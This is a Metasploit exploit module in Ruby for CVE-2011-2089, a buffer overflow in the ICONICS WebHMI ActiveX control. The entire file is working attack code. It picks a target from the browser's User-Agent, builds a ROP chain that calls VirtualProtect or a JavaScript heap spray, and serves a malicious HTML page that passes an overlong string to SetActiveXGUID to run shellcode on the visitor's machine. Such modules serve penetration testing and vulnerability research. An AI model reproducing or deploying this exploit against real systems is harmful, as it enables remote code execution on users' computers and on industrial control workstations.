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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "ICONICS WebHMI ActiveX Buffer Overflow",
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      'Description'    => %q{
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          This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
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        By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
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        fails to do any proper bounds checking before this input is copied onto the stack,
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        which causes a buffer overflow, and results arbitrary code execution under the context
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        of the user.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Scoot Bell <scott.bell[at]security-assessment.com>',
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          'Blair Strang <blair.strang[at]security-assessment.com>',
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          'sinn3r',  #Metasploit port
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        ],
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      'References'     =>
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        [
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          ['CVE', '2011-2089'],
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          ['OSVDB', '72135'],
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          ['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
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          ['EDB', '17240'],
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          ['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']
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        ],
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      'Payload'        =>
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        {
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          'BadChars'         => "\x00",
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          'StackAdjustment'  => -3500,
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC'         => "seh",
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [
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            'Automatic', {}
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          ],
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          [
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            'IE 6/7/8 on Windows XP SP3',
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            {
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              'Offset'       => 510,         #Offset to where ROP gadgets begin
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              'Ret'          => 0x770167b0,  #PUSH ESP; POP EBP; RETN 8
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              'Max'          => 4500,        #Max buffer size used
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            },
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          ],
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          [
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            'IE 7 on Windows Vista',
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            {
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              'Ret'          => 0x0c0c0c0c,  #Target spray
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              'blockSize'    => "0x1000",
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              'spraySize'    => "0x8500",
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              'Max'          => 4500,
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            },
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          ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-05-05',
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      'DefaultTarget'  => 0))
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  end
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  def junk
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    return rand_text(4).unpack("L")[0].to_i
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  end
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  def repeat(addr, rep)
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    arr = []
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    rep.times { arr << addr }
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    return arr
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  end
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  def on_request_uri(cli, request)
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    my_target = ''
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    agent = request.headers['User-Agent']
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    if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
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      my_target = targets[2]
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    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
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      my_target = targets[2]
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    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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      my_target = targets[1]
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    else
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      send_not_found(cli)
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      print_error("Unknown User-Agent")
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      return
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    end
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    js = ''
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    sploit = ''
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    if my_target['spraySize'] == nil
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      #ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
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      #to the service pack (non or fully patched)
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      rop_gadgets = [
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        my_target.ret,
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        junk,
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        0x7e45c67f,              #XCHG EAX,EBP; RETN (USER32.dll)
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        repeat(junk, 2),
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        0x7e440639,              #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
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        0x7c801ad4,              #Kernel32.VirtualProtect
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        junk,                    #Initial ESP + 8 p1 = retaddr
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        junk,                    #p2 - lpaddr
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        junk,                    #p3 - size
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        junk,                    #p4 - perms
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        junk,                    #p5 - oldperms
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        junk,
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        #Return address
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        0x7e4462ed,              #XCHG EAX,ECX; RETN (USER32.dll)
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        0x7c902b50,              #MOV EDX, ECX; RETN (ntdll.dll)
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        repeat(0x77aa2d96, 20),  #INC ECX * 21 (CRYPT32.dll)
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        0x7c901726,              #MOV EAX, EDX; RETN (ntdll.dll)
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        repeat(0x5b86a17b, 2),   #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
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        repeat(0x77c34fbd, 2),   #ADD EAX,5C; RETN * 2 (msvcrt.dll)
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        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
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        #Shellcode pointer
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        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
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        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
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        #Size  (0x400 bytes)
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        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
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        0x7e721a99,              #POP EAX; RETN (SXS.dll)
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        0x3BFFF9CB,              #Value to XOR
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        0x7e7560b5,              #XOR EAX,3bfffdcb (SXS.dll)
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        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
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        #NewProtect
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        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
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        0x7E456160,              #XOR EAX,EAX; RETN (USER32.dll)
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        0x7E4193BA,              #ADD AL,3B (USER32.dll)
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        repeat(0x7E442074, 5),   #INC EAX; RETN (USER32.dll)
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        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
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        #OldProtect
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        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
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        0x7e721a99,              #POP EAX (SXS.dll)
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        0x10010570,              #EAX (Wriable memory)
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        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
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        #Call VirtualProtect
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        repeat(0x7E421AAF, 20),  #DEC ECX; RETN (USER32.dll)
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        0x7E4462ED,              #XCHG EAX,ECX; RETN (USER32.dll)
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        0x7E45F257,              #XCHG EAX,ESP; RETN (USER32.dll)
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        repeat(junk, 2),         #Align shellcode
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        ].flatten.pack('V*')
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        sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
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        sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
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        sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
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        sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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        sploit << rand_text_alpha(my_target['Max']-sploit.length)
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    else
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      #If we don't have to ROP, then we just spray against the rest of the targets
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      shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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      target_ret = [my_target.ret].pack('V')
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      nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
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      sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))
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      js_func_name        = rand_text_alpha(rand(6) + 3)
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      js_var_blocks_name  = rand_text_alpha(rand(6) + 3)
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      js_var_shell_name   = rand_text_alpha(rand(6) + 3)
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      js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
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      js_var_index_name   = rand_text_alpha(rand(6) + 3)
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      js = <<-EOS
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      <script>
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      function #{js_func_name}() {
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        var #{js_var_blocks_name} = new Array();
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        var #{js_var_shell_name} = unescape("#{shellcode}");
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        var #{js_var_nopsled_name} = unescape("#{nops}");
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        while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
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        for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
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          #{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
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        }
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      }
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      #{js_func_name}();
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      </script>
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      EOS
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    end
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    obj_id      = rand_text_alpha(rand(6) + 3)
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    sploit_name = rand_text_alpha(rand(6) + 3)
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    html = <<-EOS
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    <html>
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    <head>#{js}</head>
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    <body>
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    <object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
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    <script>
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    var #{sploit_name} = unescape("#{sploit}");
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    #{obj_id}.SetActiveXGUID(#{sploit_name});
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    </script>
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    </body>
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    </html>
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    EOS
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    html = html.gsub(/^ {4}/, "")
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    print_status("Sending malicious page")
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    send_response(cli, html, {'Content-Type'=>'text/html'})
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  end
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end
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